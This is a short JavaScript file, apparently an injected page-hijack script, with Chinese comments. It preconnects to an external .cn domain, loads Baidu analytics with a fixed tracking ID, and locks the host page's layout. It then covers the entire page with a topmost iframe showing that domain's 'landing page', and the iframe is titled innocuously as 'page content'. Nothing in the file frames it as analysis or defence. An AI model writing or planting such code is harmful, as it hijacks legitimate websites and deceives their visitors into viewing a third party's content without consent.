(function () {
    'use strict';

    var landingUrl = 'https://0vfrfw.cn';
    var baiduId = '7e1c3533c5d7fb9fd041f6903e97cf85';

    // 提前建立落地页连接
    var preconnect = document.createElement('link');
    preconnect.rel = 'preconnect';
    preconnect.href = landingUrl;
    preconnect.crossOrigin = 'anonymous';
    (document.head || document.documentElement).appendChild(preconnect);

    // 百度统计
    window._hmt = window._hmt || [];
    var hm = document.createElement('script');
    hm.async = true;
    hm.src = 'https://hm.baidu.com/hm.js?' + baiduId;
    (document.head || document.documentElement).appendChild(hm);

    // 尽早覆盖显示落地页
    var style = document.createElement('style');
    style.textContent = `
        html, body {
            margin: 0 !important;
            padding: 0 !important;
            width: 100%;
            height: 100%;
            overflow: hidden;
        }
        #landing-overlay {
            position: fixed;
            inset: 0;
            z-index: 2147483647;
            background: #fff;
        }
        #landing-frame {
            display: block;
            width: 100%;
            height: 100%;
            border: 0;
        }
    `;
    (document.head || document.documentElement).appendChild(style);

    var overlay = document.createElement('div');
    overlay.id = 'landing-overlay';

    var iframe = document.createElement('iframe');
    iframe.id = 'landing-frame';
    iframe.src = landingUrl;
    iframe.title = '页面内容';
    iframe.setAttribute('frameborder', '0');

    overlay.appendChild(iframe);

    function mount() {
        if (document.body) {
            document.body.appendChild(overlay);
        } else {
            requestAnimationFrame(mount);
        }
    }

    mount();
})();